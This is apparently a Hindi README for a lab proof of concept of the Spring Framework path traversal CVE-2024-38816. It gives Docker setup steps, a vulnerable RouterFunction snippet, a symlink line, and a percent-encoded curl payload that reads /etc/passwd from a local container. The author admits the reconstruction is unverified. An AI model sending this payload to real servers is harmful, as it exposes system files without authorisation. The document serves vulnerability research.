
CVE-2024-38816 प्रूफ ऑफ कॉन्सेप्ट
यह CVE-2024-38816 भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, जो एक पथ ट्रैवर्सल शोषण का प्रदर्शन करता है।
Docker इमेज बनाएं: (Spring Boot 3.0.13, Spring Framework 6.0.3 पर आधारित)
docker build -t cve-2024-38816-poc .
कंटेनर चलाएं और होस्ट मशीन पर पोर्ट 8080 को एक्सपोज़ करें:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
PoC को निष्पादित करने और भेद्यता की पुष्टि करने के लिए निम्न कमांड चलाएं:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
यदि /etc/passwd फ़ाइल की सामग्री प्रदर्शित होती है, तो भेद्यता की पुष्टि हो जाती है।
यह PoC रिलीज़ नोट्स और कमिट लॉग के विश्लेषण के आधार पर बनाया गया था। वास्तविक भेद्यता का व्यवहार भिन्न हो सकता है, इसलिए सटीकता की गारंटी नहीं है। अपने जोखिम पर उपयोग करें।
भेद्यता को Spring Framework 6.1.13 में पैच किया गया था, जैसा कि रिलीज़ नोट्स द्वारा पुष्टि की गई है।
रिलीज़ नोट्स और संबंधित कमिट लॉग की समीक्षा करने पर, मैंने निम्नलिखित दो मुद्दों को इस भेद्यता से संभावित रूप से जुड़ा हुआ पाया है:
सुरक्षा सलाहकार के अनुसार, हमले के सफल होने के लिए निम्नलिखित शर्तों को पूरा करने की संभावना है:
RouterFunctions का उपयोग किया जाता हैFileSystemResource का उपयोग किया जाता हैभेद्यता को पुनः उत्पन्न करने के लिए Docker वातावरण का उपयोग किया जाता है।
RouterFunction और FileSystemResource का उपयोग करके स्टैटिक फ़ाइल रूटिंग सेट करने के लिए निम्न कोड के साथ PathTraversalDemoApplication.java बनाएं:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
सिम्बोलिक लिंक बनाने के लिए Dockerfile में निम्न कमांड जोड़ें:
RUN ln -s /static /app/static/link
सिम्बोलिक लिंक के माध्यम से निर्देशिकाओं को ट्रैवर्स करने के लिए %-एन्कोडिंग का लाभ उठाने वाला एक पेलोड बनाएं।
/static/link/%2e%2e/etc/passwdPoC को निष्पादित करने और यह सत्यापित करने के लिए कि हमला सफल है या नहीं, निम्न curl कमांड का उपयोग करें:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
यदि हमला सफल होता है, तो /etc/passwd फ़ाइल की सामग्री प्रदर्शित होगी।
यह PoC शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। किसी वास्तविक सिस्टम में इसका उपयोग करने से पहले, सुनिश्चित करें कि भेद्यता को ठीक कर दिया गया है और आपके पास उचित अधिकार है। लेखक इस कोड के किसी भी दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।